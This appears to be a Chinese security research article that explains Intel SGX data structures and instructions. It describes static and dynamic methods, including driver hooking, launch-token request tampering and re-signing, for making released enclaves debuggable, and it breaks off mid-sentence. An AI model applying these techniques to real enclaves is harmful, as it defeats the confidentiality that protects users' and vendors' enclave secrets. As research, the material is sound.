**SSA** ：State Save Area, 当Enclave切换到Non-Enclave模式时，如Enclave运行中遇到CPU中断，会发生上下文切换，保存Enclave的上下文到EPC中保留区域，这部分区域叫做状态保留区域，在resume时再恢复。
**SECS** ：SGX Enclave Control
Structure，每个Enclave都对应着一个SECS，它是用于表示Enclave属性的数据结构，存储在EPC内存页，包含了Enclave所需的元数据信息，如存储Enclave构建时的度量值MRENCLAVE，是硬件保护Enclave的关键要素。文中探究的Enclave
Debug属性也是包含在该数据结构中的ATTRIBUTES域里。整个数据结构不可被Non-Enclave 软件访问。
**TCS** ：Thread Control
Structure，每个运行着的Enclave拥有一个或者多个TCS。TCS是硬件进入/退出Enclave时用来存储/恢复线程相关信息的数据结构，保存在EPC内存页。TCS的FLAGS域可被Non-Enclave软件访问,TCS.FLAGS.DBGOPTIN 用于使能Enclave的debug属性(如TF,
breakpoints)，Debug模式的Enclave可通过调试器修改该位。
**MRSIGNER** ：对Enclave签名密钥对中公钥的SHA-256 值。
**SIGSTRUCT** ：Enclave Signature
Structure,用于表示Enclave签名相关信息的数据结构。同时也保存着含有Debug 属性的Enclave ATTRIBUTES 域。
**EINITTOKEN** ：EINT Token Structure，Enclave EINIT
时用来检验是否允许该Enclave初始化的令牌。也称为Launch token。令牌数据结构中同时也保存着含有Debug 属性的Enclave
ATTRIBUTES 域。
**MRENCLAVE** ：Enclave的唯一识别码，用于记录Enclave从创建到初始化完成整个过程的256
bit的摘要，代表着Enclave本身的TCB。在ECREATE时初始化，EADD/EEXTEND时更新，EINIT后锁定。
**AEX** ：Asynchronous Enclave Exits，Enclave运行时遇到CPU中断等异常事件，退出执行。
### **3.2 SGX** **指令**
SGX指令包括特权指令（ENCLS）和用户指令（ENCLU）两大部分，通过在EAX寄存器指定输入值来和ENCLS/ENCLC编码形成不同功能的子函数（指令），其输入/输出参数通过RBX/RCX/RDX寄存器进行指定。ENCLS相关的指令助记符如表1所示。ENCLU相关的指令助记符如表2所示。
表1 ENCLS 指令
指令 | EAX | RBX | RCX | RDX | 功能简介
---|---|---|---|---|---
ECREATE | 00H
(In)
| PAGEINFO
(In, EA)
| EPCPAGE
(In, EA)
| | 在EPC中创建一个SECS页
EADD | 01H
(In)
| PAGEINFO
(In, EA)
| EPCPAGE
(In, EA)
| | 增加一个新页到未初始化完成的Enclave
EINIT | 02H
(In)
| SIGSTRUCT
(In, EA)
| SECS
(In, EA)
| EINITTOKEN
(In, EA)
| 初始化一个可执行Enclave
EREMOVE | 03H
(In)
| | EPCPAGE
(In, EA)
| | 从EPC删除一页
EDBGRD | 04H
(In)
| ResultData
(Out)
| EPCPAGE
(In, EA)
| | 从Debug Enclave 读取数据
EDBGWR | 05H
(In)
| SourceData
(In)
| EPCPAGE
(In, EA)
| | 向Debug Enclave写入数据
EEXTEND | 06H
(In)
| | EPCPAGE
(In, EA)
| | 扩展未初始化完成的Enclave的度量值
ELDB | 07H
(In)
| PAGEINFO
(In, EA)
| EPCPAGE
(In, EA)
| VERSION
(In, EA)
| 加载一个EPC页并将其状态标记为blocked
ELDU | 08H
(In)
| PAGEINFO
(In, EA)
| EPCPAGE
(In, EA)
| VERSION
(In, EA)
| 加载一个EPC页并将其状态标记为unblocked
EBLOCK | 09H
(In)
| | EPCPAGE
(In, EA)
| | 将一个EPC页标记为blocked
EPA | 0AH
(In)
| PT_VA(In) | EPCPAGE
(In, EA)
| | 在EPC中增加Version Array
EWB | 0BH
(In)
| PAGEINFO
(In, EA)
| EPCPAGE
(In, EA)
| VERSION
(In, EA)
| 使一个EPC页面无效并写回到主内存（DRAM）
ETRACK | 0CH
(In)
| | EPCPAGE
(In, EA)
| | 激活EBLOCK的检查
EAUG | 0DH
(In)
| PAGEINFO
(In, EA)
| EPCPAGE
(In, EA)
| LINADDR | 为已初始化的Enclave增加一个EPC页
EMODPR | 0EH
(In)
| SECINFO
(In, EA)
| EPCPAGE
(In, EA)
| | 为已初始化的Enclave修改EPC页的访问权限
EMODT | 0FH
(In)
| SECINFO
(In, EA)
| EPCPAGE
(In, EA)
| | 改变EPC页的类型
EA:Effective Address
In:Input parameter
Out:Output parameter
表2 ENCLU指令
指令 | EAX | RBX | RCX | RDX | 功能简介
---|---|---|---|---|---
EREPORT | 00H
(In)
| TARGETINOF
(In,EA)
| REPORTDATA
(In,EA)
| OUTPUTDATA
(In, EA)
| 创建Enclave的加密报告
EGETKEY | 01H
(In)
| KEYREQUEST
(In,EA)
| KEY
(In,EA)
| | 检索一个加密密钥
EENTER | 02H
(In)
| TCS
(In,EA)
| AEP
(In,EA)
| | 进入Enclave模式执行
RBX.CSSA
(Out)
| Return
(Out,EA)
ERESUME | 03H
(In)
| TCS
(In,EA)
| AEP
(In, EA)
| | 重进入Enclave模式执行
EEXIT | 04H
(In)
| Target
(In,EA)
| Current
AEP
(Out)
| | 退出Enclave模式
EACCEPT | 05H
(In)
| SECINFO
(In,EA)
| EPCPAGE
(In,EA)
| | 接受对EPC页面的更改
EMODPE | 06H
(In)
| SECINFO
(In,EA)
| EPCPAGE
(In,EA)
| | 扩展EPC页面的权限
EACCEPTCOPY | 07H
(In)
| SECINFO
(In,EA)
| EPCPAGE
(In,EA)
| EPCPAGE
(In,EA)
| 将现有EPC页面的内容拷贝到未初始化的EPC页面
### **3.3 SGX** **技术实现**
SGX技术实现如图3所示，可总结成如下几点：
图3 SGX 技术实现
SGX应用程序切分成Untrusted和Trusted两部分，Trust部分运行在Enclave中；
由Untrusted部分的应用程序通过ioctl系统调用的方式调用ENCLS指令创建出Enclave,并把Trust部分的代码加载到Enclave里执行；
Untrusted部分的应用通过特殊的调用接口Ecalls调用Enclave里函数的执行；
当Enclave里的函数被调用后，仅仅Enclave里的代码可访问其数据，外部的程序——不管是普通的应用程序，还是具备特权的OS、VMM、Bios都无法访问。当Enclave里的函数返回后，其数据仍保留在内存保护区；
Enclave拥有自己的代码和数据区，SGX保证代码和数据的完整和保密性。Enclave的入口点是在编译阶段预定义好，支持多线程，可访问整个Application的内存空间。下一小节详述Enclave.
EPC是SGX的内存管理核心，属于Enclave的相关数据结构和代码以及数据的存放处，是经过MEE加密存储，外部程序无法获取其实际内容，逻辑上如图4所示。
图4 EPC内部逻辑
### **3.4 Enclave** **安全机制**
形式上，Intel SGX
允许以明文形式发布应用程序的受保护部分，也就是说在Enclave建立之前，Enclave的code和data都是可以自由地进行分析检查的，当这部分受保护的程序加载进Enclave时，它的code和data将会被度量，加载完成后，度量值存放于EPC的SECS，不可更改，来自Enclave外的访问将被拒绝。
应用上，Enclave可以向远方证明自己的身份，并且提供必要的构建块（MRENCLAVE）以安全地提供密钥和凭证。应用程序也可以请求特定于Enclave或平台的密钥，这样就支持保护那些希望存储在Enclave之外的密钥和数据。
原理上，当CPU访问Enclave中数据时，首先切换到Enclave模式，Enclave模式会强制对每个内存访问进行额外的基于硬件的安全检查，由于数据是存放在EPC中，而EPC的内存内容都经过MEE加密，只有当EPC的内存内容进入CPU
package时才会被解密，一旦返回EPC后立即被加密。因此即使通过各种内存攻击手段，典型的如内存嗅探，获取到EPC的内容，也是无法获知实际内容的密文。Enclave
Enter/Exit的流程如图5所示，进入Enclave模式时，首先通过应
图5 Enclave Entry/Exit 流程
用程序调用ENCLC指令EENTER通知CPU切换Enclave模式，之后将应用程序的上下文保存到TCS数据结构，这样CPU就切换到Enclave模式执行。当Enclave主动退出时，Enclave里的程序调用ENCLC指令EEXIT，切换回Non-Enclave模式。EENTER指令将CPU控制权从应用程序转移到Enclave里的预定位置，它会首先检查TCS是否可用，清空TLB条目，然后切换入Enclave模式，并保存好RSP、RBP和XCR0寄存器内容，最后禁用PEBS（Precise
Event Based
Sampling），使Enclave执行时像一条巨大的指令。EEXIT指令将进程返回其原始模式，并清除Enclave地址的TLB条目，释放TCS数据结构，另外，Enclave退出前会清空CPU寄存器以防止数据泄露。
当Enclave运行过程被中断或异常打断时，CPU通过AEX机制退回到Non-Enclave模式，在模式切换时，其运行状态会保存到EPC的SSA中，并清除TLB，处理完中断或异常利用ERESUME重进入Enclave并从SSA加载数据恢复先前状态.Enclave
AEX 流程如图6所示，AEP（Asynchronous Exit Pointer）指向位于应用程序
图6 Enclave AEX流程
内部的处理程序，在中断服务例程（ISR）处理异常后，该处理程序将继续执行，并决定是否调用ERESUME指令来恢复Enclave的执行。流程上，在Enclave运行过程中，CPU收到了中断/异常，Enclave首先保存其程序上下文后恢复应用程序的上下文，然后操作系统调用ISR处理中断并返回到AEP，若AEP决定要恢复Enclave的执行，它将调用ERESUME指令，Enclave退出前保存的上下文内容将被恢复，最后Enclave从原先退出的地方继续执行。
SGX的内存访问控制流程如图7所示。线性地址转物理地址流程跟传统一样由OS负责，当访问地址指向EPC时，CPU首先检查是否属于Enclave发起的请求，若是再自动到EPCM里检查访问权限是否符合。EPCM检查项包括：
图7 SGX内存访问控制
该内存页是否有效；
该内存页的类型（PT_SECS/PT_TCS/PT_REG,etc.）是否正确；
该内存页是否属于当前的Enclave;
R/W/X访问权限是否匹配；
线性地址是否正确。
Enclave具备如下安全特性：
1. 不管当前特权级别还是CPU模式（Ring3/用户模式，Ring0/内核模式，SMM，VMM，或是其他Enclave）,Enclave安全区内存都无法从外部读取或写入；
2. 在构建Enclave的时候可以设置debug属性，进行debug签名，再借助sgx-gdb 调试器可以像普通调试器调试普通软件一样调试Enclave。产品级（Released）Enclave不允许通过软件或硬件的形式进行调试（这正是本文要攻破的地方），若强行设置debug属性，将会导致Enclave创建失败，表现在EINIT时异常退出；
3. Enclave执行环境的唯一方式是通过EENTER/ERESUME这样的SGX新指令在进行一系列安全检查后进入，像传统的函数调用、跳转、寄存器操控、栈操控等方式均无法进入Enclave执行环境。当然，在Enclave内部进行传统的函数调用是没问题的。
### **3.5 Enclave** **的创建**
从上文描述可见，在外对Enclave内部不可访问，无法修改运行中Enclave的SECS，因此想通过直接修改SECS的debug域是没法实现的。山重水复疑无路，柳暗花明又一村，我们可以从创建Enclave的过程着手。本文重点探究的将Released
Enclave改成可debug模式从此开始。创建Enclave可分为两大过程，首先是创建Enclave内容，即编程和编译，其次是创建其执行环境，即加载执行的过程。
**3.5.1 Enclave** **内容的创建**
图8 SGX 软件开发模型
以Linux系统为例，SGX应用软件发布时在形态上分为App和Enclave.signed.so 两部分，App运行在Non-Enclave模式，属于非可信计算，Enclave.signed.so运行在Enclave模式下，属于可信计算，运行时App利用特定的Enclave接口ECalls调用Enclave.signed.so内函数的执行，同时Enclave.signed.so也可利用特定的接口OCalls来调用App内的函数，典型的如系统调用。SGX软件开发的模型如图8所示，Intel提供了SGX
SDK工具包以支持用户快速开发，SDK包含了工具和代码库两大部分，工具包含：用于配置CPUSVN信息的sgx_config_cpusvn、用于解析Enclave
Description
Language (EDL)
file的sgx_edger8r、用于加密的sgx_encrypt、用于给Enclave.so签名的sgx_sign以及debugger工具sgx-gdb;代码库根据是否属于可信计算分成trusted（如libsgx_trts.a）和untrusted(如libsgx_urts.so)两大部分以及两者间的接口。开发SGX应用时，用户自主决定哪部分代码需要运行在Enclave中，生成Enclave文件的整体操作流程是：
首先需要用户编写期望运行在Enclave中的c/c++代码，并声明在edl文件的”trusted”段中；
然后使用SGX SDK提供的 sgx_edger8r 工具解析edl文件生成Enclave_trust.c文件；
再将Enclave_trust.c和其他c文件编译成enclave.so；
最后使用SGX SDK提供的 sgx_sign
工具对enclave.so进行签名，生成enclave.signed.so。传入sgx_sign工具的文件还包括enclave_private.pem私钥文件和定义有Enclave
metadata信息的xml文件，假如要生成产品级Release的Enclave，需要传入的私钥文件是经过Intel进行签发；若是debug版本的可以使用随SGX
SDK一起的Samplecode里的Enclave_private.pem。
sgx_sign将所有的metadata数据保存在enclave.signed.so ELF文件里的”.note.sgxmeta”段里。
metadata里保存着Enclave的所有属性，在运行时生成的SECS、TCS关键信息大部分来自于它，包括EINIT所需的EINITTOKEN也是基于它来生成，因此修改metadata里相关信息后可将Enclave由release版本变成可调试的debug版本。下文将重点介绍该部分。
**3.5.2 Enclave** **执行环境的创建**
Enclave的创建由普通应用程序发起，先申请Enclave页，再通过ioctl系统调用执行ENCLS指令，如ECREATE、EADD、EEXTEND、EINIT等，其细节流程如图9所示。首先，应用程序请求加载它的Enclave
图9 Enclave 的创建细节
部分到内存中；接着借助ioctl调用ECREATE指令创建文件和SECS数据结构；然后通过EADD指令将Enclave的代码加载进Enclave；每个EPC页的添加到Enclave时要使用EEXTEND指令将其度量值添加到SECS;Enclave代码加载完成后调用EINIT指令完成Enclave的初始化，固化SECS。该过程跟SECS密切相关的有ECREATE和EINIT，即本文探究的将Released
Enclave改成可debug的关键所在。ECREATE指令负责创建一个独一无二的Enclave的实例，建立起线性地址的布局，以及设置Enclave的属性。这属性包括debug属性，信息保存在SECS数据结构中。而
SECS
的固化是在EINIT过程中完成，若简单的在ECREATE时修改SECS，将导致EINIT时对SECS的校验失败，从而导致Enclave创建失败。因此，下节重点介绍EINIT。
**3.5.3 Enclave Init**
顾名思义，EINIT指令负责Enclave
init，它是创建Enclave时最后需要执行的一个ENCLS指令，执行完EINIT后，Enclave的度量值MRENCLAVE也完成了，此后应用程序可以通过EENTER指令进入Enclave运行。EINIT指令执行如图10所示，需传入3个参数：SECS、SIGSTRUCT、EINITTOKEN，其中SECS仅Enclave本身可访问，另两个
图10 EINIT过程
普通程序也可访问。大体执行步骤如下：
验证是否使用随附的公钥对SIGSTRUCT进行了签名；
检查SECS.MRENCLAVE是否等于SIGSTRUCT.HASHENCLAVE；
检查是否SIGSTRUCT.ATTRIBUTES中非保留位设置为1，而SIGSTRUCT.ATTRIBUTESMASK中非保留位设置为设置为0；
检查SIGSTRUCT.ATTRIBUTES中是否未设置仅Intel位，除非SIGSTRUCT由Intel签名；
检查SIGSTRUCT.ATTRIBUTES是否等于对SIGSTRUCT.ATTRIBUTEMASK与SECS.ATTRIBUTES进行逻辑与运算后的结果；
如果EINITTOKEN.VALID为0，则检查SIGSTRUCT是否由Intel签名；
如果EINITTOKEN.VALID为1，则检查EINITTOKEN的有效性；
如果EINITTOKEN.VALID为1，则检查EINITTOKEN.MRENCLAVE是否等于SECS.MRENCLAVE；
如果EINITTOKEN.VALID为1并且EINITTOKEN.ATTRIBUTES.DEBUG为1，则SECS.ATTRIBUTES.DEBUG必须为1；
从SIGSTRUCT取出签名的公钥进行SHA-256的Hash后产生MRSIGNER，将此MRSIGNER与EINITTOKEN.MRSINGER进行检验，通过后将MRSIGNER拷贝到SECS.MRSIGNER。同时基于SIGSTRUCT填写SECS.ISVSVN、SECS.ISVPRODID,完成SECS的初始化，固化SECS。
由上可见，若要调试Enclave，SECS.ATTRIBUTES.DEBUG必须为1，同时EINITTOKEN.ATTRIBUTES.DEBUG和SIGSTRUCT.ATTRIBUTES.DEBUG也必须为1，另外还要保证签名校验的成功。下面分别介绍SECS、SIGSTRUCT、EINITTOKEN的数据结构。
SECS在EPC中是4kB对齐的，数据结构如表3所示。我们比较关心的ATTRIBUTE域如表4所示。
表3 SECS数据结构
Filed | Offset
(Bytes)
| Size
(Bytes)
| 简介
---|---|---|---
SIZE | 0 | 8 | Enclave的大小
BASEADDR | 8 | 8 | Enclave线性地址的基址
SSAFRAMESIZE | 16 | 4 | SSA帧的大小
MISCSELECT | 20 | 4 | 位向量，用于指定在AEX时将哪些扩展特征保存到SSA.MISC
RESERVED | 24 | 24 | 预留
ATTRIBUTES | 48 | 16 | Enclave的属性
MRENCLAVE | 64 | 32 | Enclave的度量值
RESERVED | 96 | 32 | 预留
MRSIGNER | 128 | 32 | 签名密钥对应公钥的SHA-256
RESERVED | 160 | 96 | 预留
ISVPRODID | 256 | 2 | Enclave的产品ID
ISVSVN | 258 | 2 | Enclave的安全版本号（SVN）
EID | 用户设定 | 8 | Enclave ID
PADDING | 用户设定 | 352 | 填充
RESERVED | 260 | 3836 | 预留
表4 ATTRIBUTES数据结构
Field | Bit Posttion | 简介
---|---|---
RESERVED | 0 | 预留
DEBUG | 1 | 置1后，enclave允许调试器读写enclave的数据
MODE64BIT | 2 | Enclave运行在64位模式
RESERVED | 3 | 必须置0
PROVISIONKEY | 4 | EGETKEY可获取Provisioning Key
EINITTOKENKEY | 5 | EGETKEY可获取EINIT token key
RESERVED | 63：6 | 预留
XFRM | | XSAVE mask
SIGSTRUCT包含了Enclave的签名信息，SHA-256摘要的ENCLAVEHASH，3072bit长度的MODULUS、SIGNATURE、Q1、Q2，也是必须4kB对齐的。Q1、Q2的算法如下：
Q1 = floor(Signature^2 / Modulus);
Q2 = floor((Signature^3 – q1 * Signature * Modulus) / Modulus);
SIGSTRUCT数据结构如表5所示，表中的“Y”代表该域的数据需要纳入需签名的数据里。
表5 SIGSTRUCT数据结构
Field | OFFSET
(Bytes)
| Size
(Bytes)
| 简介 | Signed
---|---|---|---|---
HEADER | 0 | 16 | 必须是06000000E10000000000010000000000H | Y
VENDOR | 16 | 4 | Intel Enclave: 00008086H
Non-Intel Enclave: 00000000H
| Y
DATE | 20 | 4 | 编译日期:yyyymmdd | Y
HEADER2 | 24 | 16 | 必须是01010000600000006000000001000000H | Y
SWDEFINED | 40 | 4 | 供软件使用 | Y
RESERVED | 44 | 84 | 必须是0 | Y
MODULUS | 128 | 384 | 公钥 | N
EXPONENT | 512 | 4 | RSA Exponent=3 | N
SIGNATURE | 516 | 384 | SIGSTRUCT本身的签名 | N
MISCSELECT | 900 | 4 | 用于指定SSA帧扩展特征 | Y
MISCMASK | 904 | 4 | MISCSELECT的mask | Y
RESERVED | 908 | 20 | 必须是0 | Y
ATTRIBUTES | 928 | 16 | Enclave的属性 | Y
ATTRIBUTEMASK | 944 | 16 | ATTRIBUTES的mask | Y
ENCLAVEHASH | 960 | 32 | 本数据结构产生的MRENCLAVE | Y
RESERVED | 992 | 32 | 必须是0 | Y
ISVPRODID | 1024 | 2 | Enclave产品ID | Y
ISVSVN | 1026 | 2 | Enclave安全版本号 | Y
RESERVED | 1028 | 12 | 必须是0 | N
Q1 | 1040 | 384 | RSA签名校验值1 | N
Q2 | 1424 | 384 | RSA签名校验值2 | N
EINITTOKEN 又称Launch Token,用来检验该Enclave是否允许启动，512
Bytes对齐，其数据结构如表6所示。EINITTOKEN是由Launch Enclave,简称LE生成，LE属于Architectural
Enclave之一，由Intel编写并签名后随SGX SDK一起分发。EINITTOKEN里含有ATTRIBUTES字段，并且采用CPU内部的Launch
key进行MAC，这样防止它被其他程序改变EINITTOKEN的值。这是本文需要攻破的另一个点，详见下文。
表6 EINITTOKEN数据结构
Field | OFFSET
(Bytes)
| Size
(Bytes)
| MACed | 简介
---|---|---|---|---
VALID | 0 | 4 | Y | Bits 0:1 Valid 0:Debug
RESERVED | 4 | 44 | Y | 必须是0
ATTRIBUTES | 48 | 16 | Y | Enclave的属性
MRENCLAVE | 64 | 32 | Y | Enclave的MRENCLAVE
RESERVED | 96 | 32 | Y | 预留
MRSIGNER | 128 | 32 | Y | Enclave的MRSIGNER
RESERVED | 160 | 32 | Y | 预留
CPUSVNLE | 192 | 16 | N | Launch Enclave的CPUSVN
ISVPRODIDLE | 208 | 2 | N | Launch Enclave的ISVPRODID
ISVSVNLE | 210 | 2 | N | Launch Enclave的ISVSVN
RESERVED | 212 | 24 | N | 预留
MASKEDMISCSELECTLE | 236 | 4 | N | Launch Enclave的MASKEDMISCSELECT
MASKEDATTRIBUTELE | 240 | 16 | N | Launch Enclave的MASKEDATTRIBUTE
KEYID | 256 | 32 | N | Key的保护值
MAC | 288 | 16 | N | 采用Launch key对EINITTOKEN的MAC
## 4 Released Enclave to Debug静态转换法
上文3.5.1节提到在修改metadata里相关信息后可将Enclave由release版本变成可调试的debug版本，本节将详细探究，这种转换是修改Enclave
ELF文件，是在Enclave运行前完成，因此称之为静态转换法。
如上文所述，Enclave的签名工具sgx_sign将所有的metadata数据保存在enclave.signed.so
ELF文件里的”.note.sgxmeta”段里。metadata里保存着Enclave的所有属性，在运行时生成的SECS、TCS关键信息大部分来自于它，包括EINIT所需的EINITTOKEN也是基于它来生成，因此修改metadata里相关信息后可将Enclave由release版本变成可调试的debug版本。metadata的数据结构如表7所示，跟当前研究相关的域包括
version、attributes、enclave_css。
表7 metadata数据结构
typedef struct _metadata_t
{
uint64_t magic_num; /* The magic number identifying the file as a signed enclave image */
uint64_t version; /* The metadata version */
uint32_t size; /* The size of this structure */
uint32_t tcs_policy; /* TCS management policy */
uint32_t ssa_frame_size; /* The size of SSA frame in page */
uint32_t max_save_buffer_size; /* Max buffer size is 2632 */
uint32_t desired_misc_select;
uint32_t tcs_min_pool; /* TCS min pool*/
uint64_t enclave_size; /* enclave virtual size */
sgx_attributes_t attributes; /* XFeatureMask to be set in SECS. */
enclave_css_t enclave_css; /* The enclave signature */
data_directory_t dirs[DIR_NUM];
uint8_t data[18592];
}metadata_t;
version代表metadata的版本号，如：2.3/2.1/1.4，为了兼容所有的版本，一个enclave.signed.so里包含有三段metadata，据本人实测发现，这三段metadata仅version域不一样外，其他域完全一样，同时在Ubuntu16.04上安装测试版本的PSW_2.2.100.45311仅支持1.4版本，因此本文所述的sgx_repack_tool仅生成一段version为1.4的metadata。
attributes域的sgx_attributes_t数据结构如表8所示，我们需要将flags添加上SGX_FLAGS_DEBUG
属性，即debug位置1。
表8 sgx_attributes_t数据结构
typedef struct _attributes_t
{
uint64_t flags; /* 包含有debug属性的旗标，各bit含义与Enclave Signature的一致 */
uint64_t xfrm;
} sgx_attributes_t;
/* Enclave Flags Bit Masks */
#define SGX_FLAGS_INITTED 0x0000000000000001ULL /* If set, then the enclave is initialized */
#define SGX_FLAGS_DEBUG 0x0000000000000002ULL /* If set, then the enclave is debug */
#define SGX_FLAGS_MODE64BIT 0x0000000000000004ULL /* If set, then the enclave is 64 bit */
#define SGX_FLAGS_PROVISION_KEY 0x0000000000000010ULL /* If set, then the enclave has access to provision key */
#define SGX_FLAGS_EINITTOKEN_KEY 0x0000000000000020ULL /* If set, then the enclave has access to EINITTOKEN key */
#define SGX_FLAGS_RESERVED (~(SGX_FLAGS_INITTED | SGX_FLAGS_DEBUG | SGX_FLAGS_MODE64BIT | SGX_FLAGS_PROVISION_KEY | SGX_FLAGS_EINITTOKEN_KEY))
表9 enclave_css_t数据结构
typedef struct _enclave_css_t { /* 1808 bytes */
css_header_t header; /* (0) */
css_key_t key; /* (128) */
css_body_t body; /* (900) */
css_buffer_t buffer; /* (1028) */
} enclave_css_t;
typedef struct _css_buffer_t { /* 780 bytes */
uint8_t reserved[12]; /* (1028) Must be 0 */
uint8_t q1[SE_KEY_SIZE]; /* (1040) Q1 value for RSA Signature Verification */
uint8_t q2[SE_KEY_SIZE]; /* (1424) Q2 value for RSA Signature Verification */
} css_buffer_t;
其中，q1 = floor(Signature^2 / Modulus);
q2 = floor((Signature^3 - q1 * Signature * Modulus) / Modulus);
表9 enclave_css_t数据结构（续）
typedef struct _css_header_t { /* 128 bytes */
uint8_t header[12]; /* (0) must be (06000000E100000000000100H) */
uint32_t type; /* (12) bit 31: 0 = prod, 1 = debug; Bit 30-0: Must be zero */
uint32_t module_vendor; /* (16) Intel=0x8086, ISV=0x0000 */
uint32_t date; /* (20) build date as yyyymmdd */
uint8_t header2[16]; /* (24) must be (01010000600000006000000001000000H) */
uint32_t hw_version; /* (40) For Launch Enclaves: HWVERSION != 0. Others, HWVERSION = 0 */
uint8_t reserved[84]; /* (44) Must be 0 */
} css_header_t;
typedef struct _css_key_t { /* 772 bytes */
uint8_t modulus[SE_KEY_SIZE]; /* (128) Module Public Key (keylength=3072 bits) */
uint8_t exponent[SE_EXPONENT_SIZE]; /* (512) RSA Exponent = 3 */
uint8_t signature[SE_KEY_SIZE]; /* (516) Signature over Header and Body */
} css_key_t;
typedef struct _css_body_t { /* 128 bytes */
sgx_misc_select_t misc_select; /* (900) The MISCSELECT that must be set */
sgx_misc_select_t misc_mask; /* (904) Mask of MISCSELECT to enforce */
uint8_t reserved[20]; /* (908) Reserved. Must be 0. */
sgx_attributes_t attributes; /* (928) Enclave Attributes that must be set */
sgx_attributes_t attribute_mask; /* (944) Mask of Attributes to Enforce */
sgx_measurement_t enclave_hash; /* (960) MRENCLAVE - (32 bytes) */
uint8_t reserved2[32]; /* (992) Must be 0 */
uint16_t isv_prod_id; /* (1024) ISV assigned Product ID */
uint16_t isv_svn; /* (1026) ISV assigned SVN */
} css_body_t;
enclave_css域代表的是Enclave Signature
Structure，其代码形式的数据结构enclave_css_t如表9所示。该数据结构中必须修改body域中的attributes及对应的attribute_mask，将attributes的flags置上SGX_FLAGS_DEBUG，将attribute_mask的flags的
SGX_FLAGS_DEBUG清零；同时需要修改header域的type，将其第31位置1，代表需要debug；再将header域的module_vendor置成0，伪装成非Intel发布。因为修改header和body影响了key域的signature签名，所以须对Enclave
Signature Structure进行重签名，操作时将key域的modulus置换成Enclave debug
私钥对应的公钥，再使用私钥对Enclave Signature
Structure的header和body域进行签名。因为key域的改变，buffer域的q1和q2也需要根据公式
q1 = floor(Signature^2 / Modulus);
q2 = floor((Signature^3 – q1 * Signature * Modulus) / Modulus);
进行修正 。
至此，将Released
Enclave转换成debug版本已经呼之欲出，我们通过编写一个sgx_repack_tool工具将上述的修改操作自动化完成，将enclave_release.signed.so的metadata的相应位域修改后生成enclave_debug.signed.so，这样通过SGX
SDK发布的sgx-gdb工具可以对enclave_debug.signed.so进行调试。如图11所示，将随同 SGX
SDK一起发布Samplecode的Enclave_private.pem和enclave_release.signed.so文件做为输入，经过sgx_repack_tool
工具转换后生成可debug的enclave_debug.signed.so。
图11 sgx_repack_tool
静态转换法所需的修改点，总结如表11所示。
表11 需要修改的metadata数据域
序号 | 数据域
---|---
1 | Metadata.version
2 | Metadata.attributes.flags
3 | SIGSTRUCT.TYPE
4 | SIGSTRUCT.VENDOR
5 | SIGSTRUCT. ATTRIBUTES
6 | SIGSTRUCT.ATTRIBUTEMASK
7 | SIGSTRUCT. MODULUS
8 | SIGSTRUCT.SIGNATURE
9 | SIGSTRUCT.Q1
10 | SIGSTRUCT.Q2
## 5 Released Enclave to Debug动态转换法
静态转换法需要事先拿到enclave_release.sign.so后转换，当运行Enclave的时候还需要在Ring0程序创建Enclave的API
sgx_create_enclave将Debug_Flag 参数置1，实现上可通过HOOK
Ring0的Application的sgx_create_enclave
，将其Debug_Flag参数置1。但这样使用起来存在一定的局限性，本节探究一种更高级的方法，不需要HOOK
Ring0的Application,也不需要修改enclave_release.sign.so，就在用户正常使用SGX
Application的时候动态修改，实现debug无感知。我们称这种方法为Released Enclave to Debug动态转换法。
动态转换法的关键是修改Enclave的SECS.ATTRIBUTES.DEBUG,但SECS对Enclave外所有程序不可见。因此从SECS的创建入手，即Enclave的ECREATE和EINIT。ECREATE负责创建SECS的EPC页，在其参数secs上直接修改两处：
1. secs.attributes |= SGX_FLAGS_DEBUG
2. secs.mrsigner 替换成我们自己的debug模式的公钥的sha256
即可。比较复杂的是EINIT，上文分析EINIT过程可见，EINIT所需的参数SIGSTRUCT、EINITTOKEN这两个数据结构对普通应用程序可见，SECS的初始化依赖SIGSTRUCT，如若成功在SIGSTRUCT、EINITTOKEN里修改了DEBUG属性，那么SECS.ATTRIBUTES.DEBUG也将成功被置位，这样Enclave就变得可被debug。SIGSTRUCT的修改轻而易举，修改后仅需注意使用debug
密钥重新生成新的签名即可，关键问题在于EINITTOKEN。EINITTOKEN由LE生成，生成后虽然对普通程序可见，但是其内容经过LE
key签名，我们无法获取LE
key,意味着修改EINITTOKEN后而没有重签名，在EINIT时对EINITTOKEN的校验将会失败。那么，能不能在EINITTOKEN生成的过程下手，将其内容篡改呢？答案是肯定的。下面分析EINITTOKEN的生成过程。
EINITTOKEN的生成逻辑如图12所示，在Linux版本的SGX中，LE 属于Architectural
Enclave，随SDK一起分发，运行时受aesm（Architectural Enclave Service
Manager）守护进程管理。需EINITTOKEN时，应用程序将Enclave的MRENCLAVE、MRSIGNER、ATTRIBUTES等以protobuf形式封包，通过socket方式向aesm发起请求，aesm调用LE生成EINITTOKEN，再以protobuf封装EINITTOKEN
图12 EINITTOKEN生成逻辑
通过socket方式返回给应用程序。如若在此过程中，将MRSIGNER改成我们自己debug密钥对中公钥的SHA-256，同时将ATTRIBUTES的DEBUG置位，那么将可得到具备debug功能的EINITTOKEN。另外，跟静态转换法一样，用同样的debug密钥修改SIGSTRUCT的ATTRIBUTES和相关域。动态转换法可简单的概述为：保持enclave_release.signed.so不变，在其Enclave创建的过程修改debug属性，并用自己可控的debug版本的密钥替换掉原有的released密钥信息来完成ECREATE和EINIT。实测发现，经此修改后仍出现问题，原因在于应用程序使用SGX
SDK中的libsgx_urts.so做加载Enclave的初始化相关工作，如sgx_create_enclave/sgx_create_enclave_ex
，欲加载的Enclave是否采用debug模式运行以debug参数的形式传入sgx_create_enclave/sgx_create_enclave_ex
API，而后借助get_misc_attr函数对欲加载的Enclave的attribute进行校验，若Enclave的metadata信息标明该Enclave为release版本，此刻的EINITTOKEN却要使能attribute的debug位，将导致校验失败，从而退出Enclave的初始化加载。因此，还要设法绕过此检测，方法也比较简单，因为函数里仅能检测debug位是否匹配，无法检测EINITTOKEN的签名信息是否正确，所以操作上仅需将生成的带debug功能的EINITTOKEN的debug位清零后供get_misc_attr函数进行校验即可。
图13 ECREATE 篡改流程
图14 EINIT 篡改流程
综上，动态转换法实现时采取HOOK SGX Driver，同时在Ring3运行SGX Debug
Helper的应用程序，SGX应用程序本身不做任何修改。其中HOOK SGX Driver负责捕获请求EINITTOKEN时的报文和转发到SGX Debug
Helper,同时HOOK Enclave ECREATE 和 EINIT，修改其指令参数；SGX Debug
Helper负责管理签名密钥和篡改来自HOOK SGX Driver的protobuf的报文。ECREATE的流程如图13所示，在SGX
